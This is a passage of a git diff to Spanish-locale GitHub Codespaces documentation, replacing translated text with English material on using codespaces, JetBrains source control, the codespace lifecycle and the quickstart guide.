"[Introducción a los contenedores de desarrollo](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project#applying-configuration-changes-to-a-codespace)". +* From the default branch of your repository on {% data variables.product.prodname_dotcom %}, create a codespace. See "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository)." +* In your codespace, create a new branch to work on. +* Make your changes and save them. +* Commit the change. +* Raise a pull request. -## Configurar tu codespace para que recupere los cambios nuevos automáticamente +{% webui %} -Puedes configurar tu codespace para que recupere automáticamente los detalles de cualquier confirmación nueva que se haya hecho al repositorio remoto. Esto te permite ver si tu copia local del repositorio está desactualizada, en cuyo caso, podrías elegir extraer los cambios nuevos. +{% data reusables.codespaces.source-control %} -Si la operación de búsqueda detecta cambios nuevos en el repositorio remoto, verás la cantidad de confirmaciones nuevas en la barra de estado. Luego podrás extraer los cambios en tu copia local. +{% endwebui %} -1. Haga clic en el botón **Administrar** en la parte inferior de la barra de actividad. -![Botón Administrar](/assets/images/help/codespaces/manage-button.png) -1. En el menú, haga clic en **Configuración**. -1. En la página Configuración, busque: `autofetch`. -![Búsqueda de captura automática](/assets/images/help/codespaces/autofetch-search.png) -1. Para capturar detalles de las actualizaciones de todos los remotos registrados para el repositorio actual, establezca **Captura automática de Git** en `all`. -![Habilitación de la captura automática de Git](/assets/images/help/codespaces/autofetch-all.png) -1. Si quiere cambiar la cantidad de segundos entre cada captura automática, edite el valor de **Git: Periodo de captura automática**. +{% vscode %} -## Configramr tus cambios +{% data reusables.codespaces.source-control %} -{% data reusables.codespaces.source-control-commit-changes %} +{% endvscode %} -## Levantar una solicitud de cambios +{% jetbrains %} -{% data reusables.codespaces.source-control-pull-request %} +## Creating or switching branches -## Subir cambios a tu repositorio remoto +1. Click the branch name at the right side of the status bar. -Puedes subir los cambios que has hecho. Esto aplica a aquellos de la rama ascendente en el repositorio remoto. Puede que necesites hacer eso si aún no estás listo para crear una solicitud de cambios o si prefieres crearla en {% data variables.product.prodname_dotcom %}. + ![Screenshot of the branch name in the status bar](/assets/images/help/codespaces/jetbrains-branch-button.png) -1. En la parte superior de la barra lateral, haga clic en los puntos suspensivos ( **...** ). ![Botón de puntos suspensivos para Ver y Más acciones](/assets/images/help/codespaces/source-control-ellipsis-button-nochanges.png) -1. En el menú desplegable, haga clic en **Insertar**. +1. In the pop-up menu, do one of the following: + * To create a new branch based on the current branch, click the name of the current branch, then choose **New Branch**. + + ![Screenshot of the new branch option](/assets/images/help/codespaces/jetbrains-new-branch-option.png) + + Enter a name for the new branch and click **Create**. + + ![Screenshot of the create branch dialog box](/assets/images/help/codespaces/jetbrains-create-branch-dialog.png) + + * To check out an existing branch, start typing the name of the branch you want to check out. Click the branch from the list, then click **Checkout**. + + ![Screenshot of the checkout option](/assets/images/help/codespaces/jetbrains-checkout-submenu.png) + + {% tip %} + + **Tip**: If someone has recently changed a file on the remote repository, in the branch you switched to, you may not see those changes until you pull the changes into your codespace. + + {% endtip %} + + +## Committing your changes + +1. At the right side of the navigation bar, click the check mark. + + ![Screenshot of the commit check mark](/assets/images/help/codespaces/jetbrains-commit-button.png) + +1. In the Commit Changes dialog box, enter a commit message. +1. Click **Commit**. + + Alternatively, click the down arrow beside **Commit** and click **Commit and Push**. + + ![Screenshot of the commit and push button](/assets/images/help/codespaces/jetbrains-commit-and-push.png) + +## Pulling changes from the remote repository + +You can pull changes from the same branch on the remote repository and apply those changes to the copy of the repository you are working on in your codespace. + +1. At the right side of the navigation bar, click the downward pointing arrow. + + ![Screenshot of the update project downward arrow button](/assets/images/help/codespaces/jetbrains-update-project-button.png) + +1. In the Update Project dialog box, choose whether you want to merge or rebase the incoming changes. + + ![Screenshot of the Update Project dialog box](/assets/images/help/codespaces/jetbrains-update-options.png) + +1. Click **OK**. + +## Pushing changes to your remote repository + +You can push changes you've saved and committed. This applies those changes to the upstream branch on the remote repository. You might want to do this if you're not yet ready to create a pull request, or if you prefer to create a pull request on {% data variables.product.prodname_dotcom %}. + +1. At the right side of the navigation bar, click the upward pointing arrow. + + ![Screenshot of the push commits upward arrow](/assets/images/help/codespaces/jetbrains-push-button.png) + +1. In the Push Commits dialog box, click **Push**. + +{% endjetbrains %} diff --git a/translations/es-ES/content/codespaces/getting-started/deep-dive.md b/translations/es-ES/content/codespaces/getting-started/deep-dive.md index 4c12712121..48c9c1004b 100644 --- a/translations/es-ES/content/codespaces/getting-started/deep-dive.md +++ b/translations/es-ES/content/codespaces/getting-started/deep-dive.md @@ -3,7 +3,6 @@ title: 'Deep dive into {% data variables.product.prodname_github_codespaces %}' shortTitle: 'Deep dive into {% data variables.product.prodname_codespaces %}' intro: 'Understand how {% data variables.product.prodname_github_codespaces %} works.' allowTitleToDifferFromFilename: true -product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' ghec: '*' @@ -18,24 +17,34 @@ topics: There are a number of entry points to create a codespace. -- From your repository for new feature work. -- From an open pull request to explore work-in-progress. -- From a commit in the repository's history to investigate a bug at a specific point in time. -- From {% data variables.product.prodname_vscode %}. +- From a {% data variables.product.company_short %} template or any template repository on {% data variables.product.prodname_dotcom_the_website %} to start a new project +- From a branch in your repository for new feature work +- From an open pull request to explore work-in-progress +- From a commit in a repository's history to investigate a bug at a specific point in time + +{% data reusables.codespaces.ways-to-create-a-codespace %} -Your codespace can be ephemeral if you need to test something or you can return to the same codespace to work on long-running feature work. For more information, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace)." +Your codespace can be ephemeral if you need to test something or you can return to the same codespace to work on long-running feature work. -Once you've selected the option to create a new codespace, and optionally selected from the various configuration options for your codespace, some steps happen in the background before the codespace is available to you. +For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository)," "[Creating a codespace from a template](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template)," and "[Opening an existing codespace](/codespaces/developing-in-codespaces/opening-an-existing-codespace)." -![Open with Codespaces button](/assets/images/help/codespaces/new-codespace-button.png) +{% note %} + +**Note**: You can create more than one codespace per repository or even per branch. However, there are limits to the number of codespaces you can create, and the number of codespaces you can run at the same time. If you reach the maximum number of codespaces and try to create another, a message is displayed telling you that you must remove an existing codespace before you can create a new one. + +{% endnote %} + +### The codespace creation process + +When you create a codespace, various steps happen in the background before the codespace is available to you. ### Step 1: VM and storage are assigned to your codespace -When you create a codespace, a [shallow clone](https://github.blog/2020-12-21-get-up-to-speed-with-partial-clone-and-shallow-clone/) of your repository is made on a Linux virtual machine that is both dedicated and private to you. Having a dedicated VM ensures that you have the entire set of compute resources from that machine available to you. If necessary, this also allows you to have full root access to your container. +When you create a codespace, a [shallow clone](https://github.blog/2020-12-21-get-up-to-speed-with-partial-clone-and-shallow-clone/) is made of your repository, or of the template repository if you're creating a codespace from a template. The repository is cloned to a Linux virtual machine that is both dedicated and private to you. Having a dedicated VM ensures that you have the entire set of compute resources from that machine available to you. If necessary, this also allows you to have full root access to your container. ### Step 2: Container is created -{% data variables.product.prodname_github_codespaces %} uses a container as the development environment. This container is created based on the configurations that you can define in a `devcontainer.json` file and/or Dockerfile in your repository. If you don't specify a custom Docker image in your configuration, {% data variables.product.prodname_codespaces %} uses a default image, which has many languages and runtimes available. For information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#using-the-default-dev-container-configuration)." For details of what the default image contains, see the [`vscode-dev-containers`](https://github.com/microsoft/vscode-dev-containers/tree/main/containers/codespaces-linux) repository. +{% data variables.product.prodname_github_codespaces %} uses a container as the development environment. This container is created based on configurations that you can define in a `devcontainer.json` file and, optionally, a Dockerfile. If you create a codespace from {% data variables.product.company_short %}'s blank template, or from a repository with no `devcontainer.json` file, {% data variables.product.prodname_github_codespaces %} uses a default image, which has many languages and runtimes available. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)." For details of what the default image contains, see the [`microsoft/vscode-dev-containers`](https://github.com/microsoft/vscode-dev-containers/tree/main/containers/codespaces-linux) repository. {% note %} @@ -47,37 +56,49 @@ Since your repository is cloned onto the host VM before the container is created ### Step 3: Connecting to the codespace -When your container has been created and any other initialization has run, you'll be connected to your codespace. You can connect to it through the web or via [{% data variables.product.prodname_vscode_shortname %}](/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code), or both, if needed. +When your container has been created and any other initialization has run, you'll be connected to your codespace. You can connect to it by using: + +* Your web browser +* [Visual Studio Code](/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code) +* [A JetBrains IDE](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide) +* [{% data variables.product.prodname_cli %}](/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli) ### Step 4: Post-creation setup -Once you are connected to your codespace, your automated setup may continue to build based on the configuration you specified in your `devcontainer.json` file. You may see `postCreateCommand` and `postAttachCommand` run. +Once you are connected to your codespace, your automated setup may continue to build based on the configuration specified in your `devcontainer.json` file. You may see `postCreateCommand` and `postAttachCommand` run. -If you want to use Git hooks in your codespace, set up hooks using the [`devcontainer.json` lifecycle scripts](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_lifecycle-scripts), such as `postCreateCommand`. For more information, see the [`devcontainer.json` reference](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_devcontainerjson-properties) in the {% data variables.product.prodname_vscode_shortname %} documentation. +If you want to use Git hooks in your codespace, set up hooks using the [`devcontainer.json` lifecycle scripts](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_lifecycle-scripts), such as `postCreateCommand`. For more information, see the [`devcontainer.json` reference](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_devcontainerjson-properties) in the {% data variables.product.prodname_vscode_shortname %} documentation. If you have a public dotfiles repository for {% data variables.product.prodname_github_codespaces %}, you can enable it for use with new codespaces. When enabled, your dotfiles will be cloned to the container and the install script will be invoked. For more information, see "[Personalizing {% data variables.product.prodname_github_codespaces %} for your account](/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account#dotfiles)." -Finally, the entire history of the repository is copied down with a full clone. +Finally, if you created the codespace from a repository, the entire history of the repository is copied down with a full clone. If you created the codespace from a template, the full history of the template repository is not preserved; instead, unless you are using the blank template, you will start with an initial commit for the contents of the template repository. During post-creation setup you'll still be able to use the integrated terminal and make edits to your files, but take care to avoid any race conditions between your work and the commands that are running. ## {% data variables.product.prodname_codespaces %} lifecycle ### Saving files in your codespace -As you develop in your codespace, it will save any changes to your files every few seconds. Your codespace will keep running for 30 minutes after the last activity. After that time it will stop running but you can restart it from either from the existing browser tab or the list of existing codespaces. File changes from the editor and terminal output are counted as activity and so your codespace will not stop if terminal output is continuing. +Save changes to files in the normal way, depending on the editor you are using. -{% note %} - -**Note:** Changes in a codespace in {% data variables.product.prodname_vscode_shortname %} are not saved automatically, unless you have enabled [Auto Save](https://code.visualstudio.com/docs/editor/codebasics#_save-auto-save). -{% endnote %} +If you work on codespaces in {% data variables.product.prodname_vscode %}, you can enable [Auto Save](https://code.visualstudio.com/docs/editor/codebasics#_save-auto-save) to ensure that your changes are always saved. ### Closing or stopping your codespace -To stop your codespace you can [use the {% data variables.product.prodname_vscode_command_palette %}](/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces#suspending-or-stopping-a-codespace) (Shift+Command+P (Mac) / Ctrl+Shift+P (Windows/Linux)). If you exit your codespace without running the stop command (for example, closing the browser tab), or if you leave the codespace running without interaction, the codespace and its running processes will continue until a window of inactivity occurs, after which the codespace will stop. By default, the window of inactivity is 30 minutes. +Your codespace will keep running while you are using it, but will time out after a period of inactivity. File changes from the editor and terminal output are counted as activity, so your codespace will not time out if terminal output is continuing. The default inactivity timeout period is 30 minutes. You can define your personal timeout setting for codespaces you create, but this may be overruled by an organization timeout policy. For more information, see "[Setting your timeout period for Codespaces](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces)." + +If a codespace times out it will stop running, but you can restart it from the browser tab (if you were using the codespace in the browser), from within {% data variables.product.prodname_vscode_shortname %}, or from your list of codespaces at [https://github.com/codespaces](https://github.com/codespaces). + +To stop your codespace you can + +* In the browser: on your list of codespaces at [https://github.com/codespaces](https://github.com/codespaces), click the ellipsis (**...**) to the right of the codespace you want to stop and click **Stop codespace**. +* In {% data variables.product.prodname_vscode_shortname %}: open [the {% data variables.product.prodname_vscode_command_palette %}](/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces#suspending-or-stopping-a-codespace) - for example, by pressing Ctrl+Shift+Enter (Windows/Linux) or Shift+Command+P (Mac) - type `Codespaces: stop` then press Enter. +* In the JetBrains client, click the stop button at the top of the {% data variables.product.prodname_github_codespaces %} tool window. For more information, see the "JetBrains IDEs" tab of "[Stopping and starting a codespace](/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace)." +* In a terminal window: use the {% data variables.product.prodname_cli %} command `gh codespace stop`. For more information, see "[Using {% data variables.product.prodname_github_codespaces %} with {% data variables.product.prodname_cli %}](/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli#gh-commands-for-github-codespaces)." + +If you exit your codespace without running the stop command (for example, by closing the browser tab), or if you leave the codespace running without interaction, the codespace and its running processes will continue for the duration of the inactivity timeout period. When you close or stop your codespace, all uncommitted changes are preserved until you connect to the codespace again. - ## Running your application Port forwarding gives you access to TCP ports running within your codespace. For example, if you're running a web application on port 4000 within your codespace, you can automatically forward that port to make the application accessible from your browser. @@ -86,7 +107,7 @@ Port forwarding determines which ports are made accessible to you from the remot ![Diagram showing how port forwarding works in a codespace](/assets/images/help/codespaces/port-forwarding.png) -When an application running inside {% data variables.product.prodname_github_codespaces %} outputs a port to the console, {% data variables.product.prodname_github_codespaces %} detects the localhost URL pattern and automatically forwards the port. You can click on the URL in the terminal or in the toast message to open the port in a browser. By default, {% data variables.product.prodname_github_codespaces %} forwards the port using HTTP. For more information on port forwarding, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)." +When an application running inside {% data variables.product.prodname_github_codespaces %} outputs a port to the console, {% data variables.product.prodname_github_codespaces %} detects the localhost URL pattern and automatically forwards the port. You can click on the URL in the terminal, or the link in the "toast" notification message that pops up at the bottom right corner of {% data variables.product.prodname_vscode_shortname %}, to open the port in a browser. By default, {% data variables.product.prodname_github_codespaces %} forwards the port using HTTP. For more information on port forwarding, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)." While ports can be forwarded automatically, they are not publicly accessible to the internet. By default, all ports are private, but you can manually make a port available to your organization or public, and then share access through a URL. For more information, see "[Sharing a port](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace#sharing-a-port)." @@ -94,13 +115,13 @@ Running your application when you first land in your codespace can make for a fa ## Committing and pushing your changes -Git is available by default in your codespace and so you can rely on your existing Git workflow. You can work with Git in your codespace either via the Terminal or by using [{% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/docs/editor/versioncontrol)'s source control UI. For more information, see "[Using source control in your codespace](/codespaces/developing-in-codespaces/using-source-control-in-your-codespace)" +Git is installed by default in your codespace and so you can rely on your existing Git workflow. You can work with Git in your codespace either via the Terminal or by using the source control features of {% data variables.product.prodname_vscode_shortname %} or JetBrains. -![Running git status in Codespaces Terminal](/assets/images/help/codespaces/git-status.png) +If you're working with an existing repository, you can create a codespace from any branch, commit, or pull request in the repository, or you can switch to a new or existing branch from within your active codespace. Because {% data variables.product.prodname_github_codespaces %} is designed to be ephemeral, you can use it as an isolated environment to experiment, check a teammate's pull request, or fix merge conflicts. -You can create a codespace from any branch, commit, or pull request in your project, or you can switch to a new or existing branch from within your active codespace. Because {% data variables.product.prodname_github_codespaces %} is designed to be ephemeral, you can use it as an isolated environment to experiment, check a teammate's pull request, or fix merge conflicts. +If you're working in a codespace created from a template, Git will be installed by default, but you will need to publish your codespace to a remote repository to persist your work and to share it with others. If you start from {% data variables.product.company_short %}'s blank template, you will first need to initialize your workspace as a Git repository (for example by entering `git init`) to start using source control within the codespace. -You can create more than one codespace per repository or even per branch. However, there are limits to the number of codespaces you can create, and the number of codespaces you can run at the same time. If you reach the maximum number of codespaces and try to create another, a message is displayed telling you that you must remove an existing codespace before you can create a new one. +For more information, see "[Using source control in your codespace](/codespaces/developing-in-codespaces/using-source-control-in-your-codespace)." {% note %} @@ -108,15 +129,31 @@ You can create more than one codespace per repository or even per branch. Howeve {% endnote %} -## Personalizing your codespace with extensions +## Personalizing your codespace with extensions or plugins -Using {% data variables.product.prodname_vscode_shortname %} in your codespace gives you access to the {% data variables.product.prodname_vscode_marketplace %} so that you can add any extensions you need. For information on how extensions run in {% data variables.product.prodname_github_codespaces %}, see [Supporting Remote Development and GitHub Codespaces](https://code.visualstudio.com/api/advanced-topics/remote-extensions) in the {% data variables.product.prodname_vscode_shortname %} documentation. +You can add plugins and extensions within a codespace to personalize your experience in JetBrains and {% data variables.product.prodname_vscode_shortname %} respectively. + +### {% data variables.product.prodname_vscode_shortname %} extensions + +If you work on your codespaces in the {% data variables.product.prodname_vscode_shortname %} desktop application, or the web client, you can add any extensions you need from the {% data variables.product.prodname_vscode_marketplace %}. For information on how extensions run in {% data variables.product.prodname_github_codespaces %}, see [Supporting Remote Development and {% data variables.product.prodname_github_codespaces %}](https://code.visualstudio.com/api/advanced-topics/remote-extensions) in the {% data variables.product.prodname_vscode_shortname %} documentation. If you already use {% data variables.product.prodname_vscode_shortname %}, you can use [Settings Sync](https://code.visualstudio.com/docs/editor/settings-sync) to automatically sync extensions, settings, themes, and keyboard shortcuts between your local instance and any codespaces you create. +### JetBrains plugins + +If you work on your codespaces in a JetBrains IDE, you can add plugins from the JetBrains Marketplace. + +1. Click **JetBrains Client**, then click **Preferences**. +1. In the Preferences dialog box, click either **Plugins On Host** to install a plugin in the full JetBrains IDE that's running remotely, or **Plugins** to install a plugin on the local client, for example to change the user interface theme. +1. Click the **Marketplace** tab. + + ![Screenshot of the Marketplace tab for 'Plugins On Host'](/assets/images/help/codespaces/jetbrains-preferences-plugins.png) + +1. Click **Install** beside the required plugin. + ## Further reading - "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization)" - "[Managing the cost of {% data variables.product.prodname_github_codespaces %} in your organization](/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization)" - "[Add a dev container configuration to your repository](/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces)" -- "[Codespaces lifecycle](/codespaces/developing-in-codespaces/codespaces-lifecycle)" +- "[The codespace lifecycle](/codespaces/developing-in-codespaces/the-codespace-lifecycle)" diff --git a/translations/es-ES/content/codespaces/getting-started/index.md b/translations/es-ES/content/codespaces/getting-started/index.md index 254d55a87a..546cc6e8f1 100644 --- a/translations/es-ES/content/codespaces/getting-started/index.md +++ b/translations/es-ES/content/codespaces/getting-started/index.md @@ -2,18 +2,17 @@ title: 'Introducción a {% data variables.product.prodname_github_codespaces %}' shortTitle: Getting started intro: 'Aprende cómo empezar a trabajar con {% data variables.product.prodname_github_codespaces %}, lo que incluye cómo realizar la configuración para lenguajes específicos.' -product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' ghec: '*' children: - /quickstart - /deep-dive -ms.openlocfilehash: 072764dd2ec164cc97a0699fb7d8821e25b04aab -ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.openlocfilehash: e0a845403562bbe046b81e52893a9ff59a1fbf1c +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 09/12/2022 -ms.locfileid: '147887451' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160349' --- diff --git a/translations/es-ES/content/codespaces/getting-started/quickstart.md b/translations/es-ES/content/codespaces/getting-started/quickstart.md index ec2abfcbed..c432de015c 100644 --- a/translations/es-ES/content/codespaces/getting-started/quickstart.md +++ b/translations/es-ES/content/codespaces/getting-started/quickstart.md @@ -3,7 +3,6 @@ title: 'Quickstart for {% data variables.product.prodname_github_codespaces %}' shortTitle: 'Quickstart for {% data variables.product.prodname_codespaces %}' intro: 'Try out {% data variables.product.prodname_github_codespaces %} in 5 minutes.' allowTitleToDifferFromFilename: true -product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' ghec: '*' @@ -16,82 +15,76 @@ redirect_from: ## Introduction -In this guide, you'll create a codespace from a template repository and explore some of the essential features available to you within the codespace. +In this guide, you'll create a codespace from a template repository and explore some of the essential features available to you within the codespace. You'll work in the browser version of {% data variables.product.prodname_vscode %}, which is initially the default editor for {% data variables.product.prodname_github_codespaces %}. After trying out this quickstart you can use {% data variables.product.prodname_codespaces %} in other editors, and you can change the default editor. Links are provided at the end of this guide. -From this quickstart, you'll learn how to create a codespace, connect to a forwarded port to view your running application, use version control in a codespace, and personalize your setup with extensions. +From this quickstart, you'll learn how to create a codespace, connect to a forwarded port to view your running application, publish your codespace to a new repository, and personalize your setup with extensions. For more information on exactly how {% data variables.product.prodname_github_codespaces %} works, see the companion guide "[Deep dive into {% data variables.product.prodname_github_codespaces %}](/codespaces/getting-started/deep-dive)." ## Creating your codespace -1. Navigate to the [template repository](https://github.com/github/haikus-for-codespaces) and select **Use this template**. -{% data reusables.codespaces.open-codespace-from-template-repo %} +1. Navigate to the [github/haikus-for-codespaces](https://github.com/github/haikus-for-codespaces) template repository. +{% data reusables.codespaces.open-template-in-codespace-step %} ## Running the application -Once your codespace is created, your repository will be automatically cloned into it. Now you can run the application and launch it in a browser. +Once your codespace is created, the template repository will be automatically cloned into it. Now you can run the application and launch it in a browser. -1. When the terminal becomes available, enter the command `npm run dev`. This example uses a Node.js project, and this command runs the script labeled "dev" in the _package.json_ file, which starts up the web application defined in the sample repository. +1. When the terminal becomes available, enter the command `npm run dev`. This example uses a Node.js project, and this command runs the script labeled "dev" in the `package.json` file, which starts up the web application defined in the sample repository. ![npm run dev in terminal](/assets/images/help/codespaces/codespaces-npm-run-dev.png) If you're following along with a different application type, enter the corresponding start command for that project. -1. When your application starts, the codespace recognizes the port the application is running on and displays a prompt to let you know it has been forwarded. +2. When your application starts, the codespace recognizes the port the application is running on and displays a prompt to let you know it has been forwarded. - ![Port forwarding toast](/assets/images/help/codespaces/quickstart-port-toast.png) + ![Port forwarding "toast" notification](/assets/images/help/codespaces/quickstart-port-toast.png) -1. Click **Open in Browser** to view your running application in a new tab. +3. Click **Open in Browser** to view your running application in a new tab. ## Edit the application and view changes -1. Switch back to your codespace and open the _haikus.json_ file by double-clicking it in the Explorer. +1. Switch back to your codespace and open the `haikus.json` file by clicking it in the Explorer. -1. Edit the `text` field of the first haiku to personalize the application with your own haiku. +2. Edit the `text` field of the first haiku to personalize the application with your own haiku. -1. Go back to the running application tab in your browser and refresh to see your changes. +3. Go back to the running application tab in your browser and refresh to see your changes. - {% octicon "light-bulb" aria-label="The lightbulb icon" %} If you've closed the tab, open the Ports panel and click the **Open in browser** icon for the running port. + {% octicon "light-bulb" aria-label="The lightbulb icon" %} If you've closed the tab, open the Ports panel and click the **Open in browser** icon for the running port. - ![Port Forwarding Panel](/assets/images/help/codespaces/quickstart-forward-port.png) + ![Port Forwarding Panel](/assets/images/help/codespaces/quickstart-forward-port.png) ## Committing and pushing your changes -Now that you've made a few changes, you can use the integrated terminal or the source view to commit and push the changes back to the remote. +Now that you've made a few changes, you can use the integrated terminal or the source view to publish your work to a new repository. {% data reusables.codespaces.source-control-display-dark %} -1. To stage your changes, click **+** next to the file you've changed, or next to **Changes** if you've changed multiple files and you want to stage them all. +1. To stage your changes, click **+** next to the `haikus.json` file, or next to **Changes** if you've changed multiple files and you want to stage them all. ![Source control side bar with staging button highlighted](/assets/images/help/codespaces/codespaces-commit-stage.png) -1. Type a commit message describing the change you've made. +2. To commit your staged changes, type a commit message describing the change you've made, then click **Commit**. - ![Source control side bar with a commit message](/assets/images/help/codespaces/codespaces-commit-commit-message.png) + ![Source control side bar with a commit message](/assets/images/help/codespaces/vscode-commit-button.png) -1. To commit your staged changes, click the check mark at the top the source control side bar. +3. Click **Publish Branch**. + + ![Screenshot of the "Publish branch" button in VS Code](/assets/images/help/codespaces/vscode-publish-branch-button.png) - ![Click the check mark icon](/assets/images/help/codespaces/codespaces-commit-checkmark-icon.png) +4. In the "Repository Name" dropdown, type a name for your new repository, then select **Publish to {% data variables.product.company_short %} private repository** or **Publish to {% data variables.product.company_short %} public repository**. + + ![Screenshot of the "Repository Name" dropdown in VS Code](/assets/images/help/codespaces/choose-new-repository.png) - You can push the changes you've made. This applies those changes to the upstream branch on the remote repository. You might want to do this if you're not yet ready to create a pull request, or if you prefer to create a pull request on {% data variables.product.prodname_dotcom %}. -1. At the top of the side bar, click the ellipsis (**...**). - - ![Ellipsis button for View and More Actions](/assets/images/help/codespaces/source-control-ellipsis-button-nochanges.png) - -1. In the drop-down menu, click **Push**. -1. Go back to your new repository on {% data variables.product.prodname_dotcom %} and view the _haikus.json_ file. Check that the change you made in your codespace has been successfully pushed to the repository. + The owner of the new repository will be the {% data variables.product.prodname_dotcom %} account with which you created the codespace. +5. In the pop-up that appears in the lower right corner of the editor, click **Open on {% data variables.product.company_short %}** to view the new repository on {% data variables.product.prodname_dotcom_the_website %}. In the new repository, view the `haikus.json` file and check that the change you made in your codespace has been successfully pushed to the repository. + + ![Screenshot of the "Open in GitHub" pop-up in VS Code](/assets/images/help/codespaces/open-on-github.png) ## Personalizing with an extension -Within a codespace, you have access to the {% data variables.product.prodname_vscode_marketplace %}. For this example, you'll install an extension that alters the theme, but you can install any extension that is useful for your workflow. - -{% note %} - -**Note**: If you have [Settings Sync](https://code.visualstudio.com/docs/editor/settings-sync) turned on, any changes you make to your editor setup in the current codespace, such as changing your theme or keyboard bindings, are automatically synced to any other codespaces you open and any instances of {% data variables.product.prodname_vscode %} that are signed into your {% data variables.product.prodname_dotcom %} account. - -{% endnote %} +When you connect to a codespace using the browser, or the {% data variables.product.prodname_vscode %} desktop application, you can access the Visual Studio Code Marketplace directly from the editor. For this example, you'll install a {% data variables.product.prodname_vscode_shortname %} extension that alters the theme, but you can install any extension that's useful for your workflow. 1. In the left sidebar, click the Extensions icon. - 1. In the search bar, type `fairyfloss` and click **Install**. ![Add an extension](/assets/images/help/codespaces/add-extension.png) @@ -100,14 +93,21 @@ Within a codespace, you have access to the {% data variables.product.prodname_vs ![Select the fairyfloss theme](/assets/images/help/codespaces/fairyfloss.png) -## Next Steps +If you are using a codespace in the browser, or in the {% data variables.product.prodname_vscode %} desktop application, and you have [Settings Sync](https://code.visualstudio.com/docs/editor/settings-sync) turned on, any changes you make to your editor setup in the current codespace, such as changing your theme or keyboard bindings, are automatically synced to any instances of {% data variables.product.prodname_vscode %} that are signed into your {% data variables.product.prodname_dotcom %} account and to any other codespaces you create. + +## Next steps You've successfully created, personalized, and run your first application within a codespace but there's so much more to explore! Here are some helpful resources for taking your next steps with {% data variables.product.prodname_github_codespaces %}. - - "[Deep dive](/codespaces/getting-started/deep-dive)": This quickstart presented some of the features of {% data variables.product.prodname_github_codespaces %}. The deep dive looks at these areas from a technical standpoint. - - "[Add a dev container configuration to your repository](/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces)": These guides provide information on setting up your repository to use {% data variables.product.prodname_github_codespaces %} with specific languages. - - "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)": This guide provides details on configuring a development container for your codespace. + +* "[Deep dive](/codespaces/getting-started/deep-dive)": This quickstart presented some of the features of {% data variables.product.prodname_github_codespaces %}. The deep dive looks at these areas from a technical standpoint. +* "[Add a dev container configuration to your repository](/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces)": These guides provide information on setting up your repository to use {% data variables.product.prodname_github_codespaces %} with specific languages. +* "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)": This guide provides details on creating a custom configuration for {% data variables.product.prodname_codespaces %} for your project. ## Further reading -- "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization)" -- "[Managing the cost of {% data variables.product.prodname_github_codespaces %} in your organization](/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization)" +* "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization)" +* "[Using {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code)" +* "[Using {% data variables.product.prodname_github_codespaces %} in your JetBrains IDE](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide)" +* "[Using {% data variables.product.prodname_github_codespaces %} with {% data variables.product.prodname_cli %}](/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli)" +* "[Setting your default editor for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces)." +* "[Managing the cost of {% data variables.product.prodname_github_codespaces %} in your organization](/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization)" diff --git a/translations/es-ES/content/codespaces/guides.md b/translations/es-ES/content/codespaces/guides.md index ac0a0bc8e0..dba8f6fe29 100644 --- a/translations/es-ES/content/codespaces/guides.md +++ b/translations/es-ES/content/codespaces/guides.md @@ -1,7 +1,6 @@ --- title: Guías de codespaces shortTitle: Guides -product: '{% data reusables.gated-features.codespaces %}' intro: Aprende cómo sacar el mayor provecho de GitHub 